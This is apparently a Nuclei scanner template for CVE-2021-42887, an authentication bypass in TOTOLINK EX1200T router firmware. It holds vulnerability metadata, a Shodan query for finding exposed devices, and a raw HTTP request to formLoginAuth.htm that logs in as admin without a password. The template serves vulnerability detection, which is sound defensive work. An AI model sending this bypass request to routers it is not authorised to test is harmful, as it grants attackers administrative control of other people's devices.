55 lines
1.8 KiB
YAML
55 lines
1.8 KiB
YAML
id: CVE-2021-42887
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info:
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name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
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author: gy741
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severity: critical
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description: |
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TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
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reference:
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- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
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- https://nvd.nist.gov/vuln/detail/cve-2021-42887
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-42887
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cwe-id: CWE-287
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epss-score: 0.02247
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epss-percentile: 0.88339
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cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: totolink
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product: ex1200t_firmware
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shodan-query: title:"TOTOLINK"
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tags: totolink,auth-bypass,cve,cve2021,router
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http:
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- raw:
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- |
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GET /login.htm HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_1
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words:
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- "TOTOLINK"
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- type: word
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part: header_2
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words:
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- "Set-Cookie: SESSION_ID="
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- type: status
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status:
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- 302
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# digest: 4b0a00483046022100d50de62b293d20bf6014ca4c4040d5445d1c08f47a55a366b1b14cfbd45fd191022100c3e5e07c70366c115c8dc23e165182397773dc3a449e0c19ce0f60037cfcfd01:922c64590222798bb761d5b6d8e72950
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